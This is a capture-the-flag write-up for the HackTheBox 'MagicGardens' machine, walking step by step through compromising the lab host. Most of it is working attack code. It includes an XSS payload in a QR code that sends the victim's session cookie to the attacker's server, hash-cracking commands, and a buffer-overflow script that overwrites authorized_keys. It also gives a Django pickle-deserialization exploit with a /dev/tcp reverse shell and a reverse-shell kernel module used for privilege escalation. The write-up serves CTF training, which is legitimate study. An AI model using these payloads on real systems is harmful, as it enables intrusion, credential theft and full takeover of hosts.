Post

HackTheBox MagicGardens Writeup

Explore the fundamentals of cybersecurity in the MagicGardens Capture The Flag (CTF) challenge, a insane-level experience! This straightforward CTF writeup provides insights into key concepts with clarity and simplicity, making it accessible for players at this level.

Add Hosts

1
10.10.11.9 magicgardens.htb

Script to add hosts automatically

1
2
3
ip="10.10.11.9"
domain="magicgardens.htb"
grep -qF "$ip $domain" /etc/hosts || echo -e "$ip $domain" | sudo tee -a /etc/hosts

Mapping

1
nmap -sCV magicgardens.htb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Nmap scan report for magicgardens.htb (10.10.11.9)
Host is up (0.063s latency).
Not shown: 996 closed tcp ports (conn-refused)
PORT     STATE    SERVICE  VERSION
22/tcp   open     ssh      OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey: 
|   256 e0:72:62:48:99:33:4f:fc:59:f8:6c:05:59:db:a7:7b (ECDSA)
|_  256 62:c6:35:7e:82:3e:b1:0f:9b:6f:5b:ea:fe:c5:85:9a (ED25519)
25/tcp   filtered smtp
80/tcp   open     http     nginx 1.22.1
|_http-server-header: nginx/1.22.1
|_http-title: Magic Gardens
5000/tcp open     ssl/http Docker Registry (API: 2.0)
| ssl-cert: Subject: organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=AU
| Not valid before: 2023-05-23T11:57:43
|_Not valid after:  2024-05-22T11:57:43
|_http-title: Site doesn't have a title.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Foothold via XSS

  1. Go to http://magicgardens.htb and register.
  2. Navigate to http://magicgardens.htb/profile/?tab=subscription, click “Upgrade”, and select honestbank.htb.
  3. Capture the request, modify the “Bank” parameter to your local IP (YOUR_IP):8000, and start a local server:
1
python -m http.server 8000
  1. Test the original server’s response:
1
curl http://honestbank.htb/api/payments/
  1. Simulate a POST request:
1
curl http://honestbank.htb/api/payments/ -X POST -d '{"cardname":"sun", "cardnumber":"12345678901"}'
  1. Close the server and run a Flask server:
1
2
3
4
5
6
7
8
9
10
11
12
from flask import Flask, jsonify, request
app = Flask(__name__)

@app.route('/api/payments/', methods=['POST'])
def handle_payment():
    req_json = request.get_json()
    req_json['status'] = "200"
    print(req_json)
    return jsonify(req_json)

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8000)
  1. Intercept the request, set bank=YOUR_IP:8000, and forward requests with Burp. Disable intercept refresh the page and buy a flower with the vip subscription.

  2. Extract and scan the QR code using zbar tools like qrscan.

QR content:

1
2b4d11f6d8220941e1726e89547ef8a0.0d341bcdc6746f1d452b3f4de32357b9.pwn@pwn.com
  1. Replace vpn-ip and QR ID in the payload and generate a malicious QR code:

Server to retrive the coockies:

1
python -m http.server 8000
1
2
3
4
5
6
7
8
import qrcode

data = '''2b4d11f6d8220941e1726e89547ef8a0.0d341bcdc6746f1d452b3f4de32357b9.</p><script>var i=new Image(); i.src="http://vpn-ip:8000/?cookie="+btoa(document.cookie);</script><p>'''
qr = qrcode.QRCode(box_size=10, border=4)
qr.add_data(data)
qr.make(fit=True)
img = qr.make_image(fill='black', back_color='white')
img.save("evilqr.png")
  1. Send the malicious QR code in response to the message received from Morty after buying a flower. Once you get the response, decode the Base64-encoded cookie:
1
2
echo -n "Base64 of the Cookies? "; read payload
echo $payload | base64 -d
  1. Use the cookie sessionid in your browser and access:
1
http://magicgardens.htb/admin/store/storeuser/morty/change/

You will find the hash pbkdf2_sha256$600000$y7K056G3KxbaRc40ioQE8j$e7bq8dE/U+yIiZ8isA0Dc0wuL0gYI3GjmmdzNU+Nl7I=.

Brute Force the Hash

1
2
3
4
5
echo -n "Password Hash? -->" ; read hash
echo "$hash" > /tmp/hash.txt
hashcat -m 10000 -a 0 /tmp/hash.txt /usr/share/dict/rockyou.txt
hashcat /tmp/hash.txt --show
rm -rf /tmp/hash.txt

You will find the credentials for jonasbrothers.

To SSH into the target as Morty, use the following command:

1
ssh morty@magicgardens.htb

Discovering Harvest Buffer Overflow

Target Machine:

  • Start HTTP server on port 8008:
    1
    2
    
    cd /
    python3 -m http.server 8008
    

Local Machine:

  • Download and prepare harvest binary:
    1
    2
    3
    
    wget http://magicgardens.htb:8008/usr/local/bin/harvest
    chmod +x ./harvest
    sudo ./harvest server
    

Testing and Exploitation:

  1. Initial Testing:
    • Send test payload:
      1
      
      echo "test" | nc 127.0.0.1 1337
      
    • Expected result: [x] Handshake error
    • Send correct version:
      1
      
      echo "harvest v1.0.3" | nc 127.0.0.1 1337
      
    • This indicates a successful handshake.
  2. Reversing and Exploitation:
    • Vulnerability observed in strcmp function not limiting buffer size.
    • Monitor file operations:
      1
      
      strace -t -e trace=openat ./harvest server -l save.txt
      
    • Buffer Overflow Attack Script:
      1
      2
      3
      4
      5
      6
      7
      
      import socket
      
      server_address = ('::1', 6666)
      s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
      s.connect(server_address)
      data = b'A'*65500
      s.send(data)
      
    • Generate and use a pattern to accurately target memory:
      1
      
      python -c "from pwn import *; open('bof.txt','w').write(cyclic(65500).decode())"
      
    • Use the generated pattern:
      1
      2
      3
      4
      5
      6
      7
      8
      9
      
      import socket
      
      server_address = ('::1', 6666)
      s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
      s.connect(server_address)
      with open('bof.txt', 'rb') as f:
          data = bytearray(f.read())
      s.send(data[:65372] + b"/tmp/name.txt")
      s.close()
      
    • Check for successful exploit:
      1
      
      cat /tmp/name.txt
      
    • Find the pattern offset:
      1
      
      python -c "from pwn import *; print(cyclic_find(b'daaa'))"
      
    • The offset identified (12) is crucial for crafting an effective exploit.

From Morty to Alex: Buffer Overflow in Harvest v1.0.3

Generate the SSH key on your local machine

1
ssh-keygen -f ./key

This will generate a key pair and save it as ./key (private key) and ./key.pub (public key).

Display the public key on your local machine

1
cat ./key.pub

Send a message to the vulnerable service on the target

1
echo "harvest v1.0.3" > /dev/tcp/127.0.0.1/1337

Open a Python REPL on the target

1
python3

Paste the following code into the Python REPL and adjust the SSH Public key (key) as needed:

1
2
3
4
5
6
7
8
9
10
11
import socket

server_address = ('::1', 6666)
s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
s.connect(server_address)
data = bytearray(b'\n' * 65403)
key = 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEICRuVTVFybA8QCIqNV+IU2oYS8kDu9W/ASXOkwHUxw e@Arch'
replace = b"/home/alex/.ssh/authorized_keys"
sendData = data[:65372] + replace
sendData[12:12 + len(key)] = key.encode()
s.send(sendData)

SSH into the target using the generated private key

1
ssh -i ./key alex@magicgardens.htb

Once connected, read the contents of the files

1
2
cat /home/alex/user.txt
cat /var/mail/alex

We get

1
UEsDBAoACQAAAG6osFh0pjiyVAAAAEgAAAAIABwAaHRwYXNzd2RVVAkAA29KRmbOSkZmdXgLAAEE6AMAAAToAwAAVb+x1HWvt0ZpJDnunJUUZcvJr8530ikv39GM1hxULcFJfTLLNXgEW2TdUU3uZ44Sq4L6Zcc7HmUA041ijjidMG9iSe0M/y1tf2zjMVg6Dbc1ASfJUEsHCHSmOLJUAAAASAAAAFBLAQIeAwoACQAAAG6osFh0pjiyVAAAAEgAAAAIABgAAAAAAAEAAACkgQAAAABodHBhc3N3ZFVUBQADb0pGZnV4CwABBOgDAAAE6AMAAFBLBQYAAAAAAQABAE4AAACmAAAAAAA=

Unzip the zip

On Your Local Machine

Make sure everything is on one line or it will not work with the read command

1
2
3
4
5
echo -en "Zip Content? "; read zip
echo $zip | base64 -d > auth.zip
zip2john auth.zip > auth.hash
john --wordlist=/usr/share/dict/rockyou.txt auth.hash
john auth.hash --show

Unzip and Read the Contents:

1
2
unzip auth.zip
cat htpasswd

Brute Force the Hash

1
2
3
4
5
echo -n "Password Hash? -->" ; read hash
echo "$hash" > /tmp/hash.txt
hashcat -m 3200 -a 0 /tmp/hash.txt /usr/share/dict/rockyou.txt
hashcat /tmp/hash.txt --show
rm -rf /tmp/hash.txt

https://github.com/Syzik/DockerRegistryGrabber

1
2
3
git clone https://github.com/Syzik/DockerRegistryGrabber
cd DockerRegistryGrabber
python drg.py https://magicgardens.htb -U AlexMiles -P diamonds --dump magicgardens.htb

It will take a while; once finished, proceed to extract all registers.

1
2
3
4
5
cd magicgardens.htb
for file in $(zgrep -la morty *.tar.gz); do
  tar -xzf "$file"
done
cat ./usr/src/app/.env

Save this script in your local machine as exploit.py. It generates a malicious session to execute a reverse shell.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import requests
from django.contrib.sessions.serializers import PickleSerializer
from django.core import signing
from django.conf import settings
import base64
import subprocess
import os

settings.configure(SECRET_KEY="55A6cc8e2b8#ae1662c34)618U549601$7eC3f0@b1e8c2577J22a8f6edcb5c9b80X8f4&87b")

def get_tun0_ip():
    return subprocess.check_output("ip a | grep -A 2 'tun0:' | grep -oP '(?<=inet\\s)\\d+(\\.\\d+){3}'", shell=True).decode().strip()

def generate_reverse_shell(ip, port=9001):
    return base64.b64encode(f"/bin/bash -c '/bin/bash -i >& /dev/tcp/{ip}/{port} 0>&1'".encode()).decode()

class CreateTmpFile(object):
    def __reduce__(self):
        return (subprocess.call, (['bash', '-c', f'echo {generate_reverse_shell(get_tun0_ip())} | base64 -d | bash'],))

def create_malicious_session():
    return signing.dumps(obj=CreateTmpFile(), serializer=PickleSerializer, salt='django.contrib.sessions.backends.signed_cookies')

def set_session_cookie(session_id):
    requests.get("http://magicgardens.htb/admin/login/?next=/admin/", cookies={'sessionid': session_id})

def curl_with_session_cookie(session_id):
    os.system(f"curl -b 'sessionid={session_id}' http://magicgardens.htb/admin/login/?next=/admin/")

if __name__ == "__main__":
    session_cookie = create_malicious_session()
    set_session_cookie(session_cookie)
    curl_with_session_cookie(session_cookie)

Note: The exploits require the Django package (pip install django==3.2) to work. The latest version (5.1.2) does not include django.contrib.sessions.serializers.

  1. Make sure you have a listener ready:
    1
    
    nc -lvnp 9001
    
  2. Run the Python exploit:
    1
    
    python exploit.py
    

Your listener is now connected to the Docker container inside the target.

Get an Interactive Shell: Once the reverse shell connects, convert it into an interactive shell:

1
python3 -c 'import pty;pty.spawn("/bin/bash")'

Press Ctrl+Z to background the shell, then run:

1
stty size; stty raw -echo; fg

As the last step, set the terminal environment:

1
export TERM=xterm;

Privilege Escalation Using Linux Capabilities

Check Current Linux Capabilities

You can check your current capabilities using capsh. Here’s an example output:

1
capsh --print

Example Output:

1
2
3
4
5
6
7
8
9
10
11
12
13
Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_audit_write,cap_setfcap=ep
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_audit_write,cap_setfcap
Ambient set =
Current IAB: !cap_dac_read_search,!cap_linux_immutable,!cap_net_broadcast,!cap_net_admin,!cap_ipc_lock,!cap_ipc_owner,!cap_sys_rawio,!cap_sys_ptrace,!cap_sys_pacct,!cap_sys_admin,!cap_sys_boot,!cap_sys_nice,!cap_sys_resource,!cap_sys_time,!cap_sys_tty_config,!cap_mknod,!cap_lease,!cap_audit_control,!cap_mac_override,!cap_mac_admin,!cap_syslog,!cap_wake_alarm,!cap_block_suspend,!cap_audit_read,!cap_perfmon,!cap_bpf,!cap_checkpoint_restore
Securebits: 00/0x0/1'b0 (no-new-privs=0)
 secure-noroot: no (unlocked)
 secure-no-suid-fixup: no (unlocked)
 secure-keep-caps: no (unlocked)
 secure-no-ambient-raise: no (unlocked)
uid=0(root) euid=0(root)
gid=0(root)
groups=0(root)
Guessed mode: HYBRID (4)

You can learn more about Linux capabilities and their privilege escalation potential here.


Kernel Module: Reverse Shell

The following reverse-shell.c code is an example of a loadable kernel module (LKM) that spawns a reverse shell:

Code: reverse-shell.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");

// Replace "vpn-ip" with your actual IP address.
char* argv[] = {"/bin/bash", "-c", "bash -i >& /dev/tcp/vpn-ip/4444 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL};

static int __init reverse_shell_init(void) {
    return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}

static void __exit reverse_shell_exit(void) {
    printk(KERN_INFO "Exiting\n");
}

module_init(reverse_shell_init);
module_exit(reverse_shell_exit);

Makefile

Below is the corresponding Makefile for compiling the kernel module:

1
2
3
4
5
obj-m += reverse-shell.o
all:
  make -C /lib/modules/$(shell uname -r)/build M=$(pwd) modules
clean:
  make -C /lib/modules/$(shell uname -r)/build M=$(pwd) clean

All in one command

Local (Listener):

1
nc -lp 12345 > reverse-shell.ko

Ssh (Compile, Send File):

1
ssh -i ./key alex@magicgardens.htb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
cd /tmp
cat << EOF > reverse-shell.c
#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");

// Replace "vpn-ip" with your actual IP address.
char* argv[] = {"/bin/bash", "-c", "bash -i >& /dev/tcp/vpn-ip/4444 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL};

static int __init reverse_shell_init(void) {
    return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}

static void __exit reverse_shell_exit(void) {
    printk(KERN_INFO "Exiting\n");
}

module_init(reverse_shell_init);
module_exit(reverse_shell_exit);
EOF
echo -e "obj-m += reverse-shell.o\nall:\n\tmake -C /lib/modules/6.1.0-20-amd64/build M=\$(PWD) modules\nclean:\n\tmake -C /lib/modules/6.1.0-20-amd64/build M=\$(PWD) clean" > Makefile
make
cat reverse-shell.ko > /dev/tcp/<vpnip>/12345

Local:

  1. Start a Python HTTP Server: Host the reverse-shell.ko file so it can be downloaded by the container:
    1
    
    python3 -m http.server 8000
    
  2. Set Up a Netcat Listener: Open another terminal and start a listener to catch the reverse shell:
    1
    
    nc -lvnp 4444
    

Target Container:

  1. Download the Kernel Module: Use wget to fetch the reverse-shell.ko file from your local machine:
    1
    
    wget http://<your-local-ip>:8000/reverse-shell.ko
    
  2. Load the Kernel Module: Insert the module to trigger the reverse shell:
    1
    
    insmod reverse-shell.ko
    
  3. Access the root flag: Once the reverse shell is established, you can execute commands on the target machine. For example, retrieve the root flag:
    1
    
    cat /root/root.txt
    
This post is licensed under CC BY 4.0 by the author.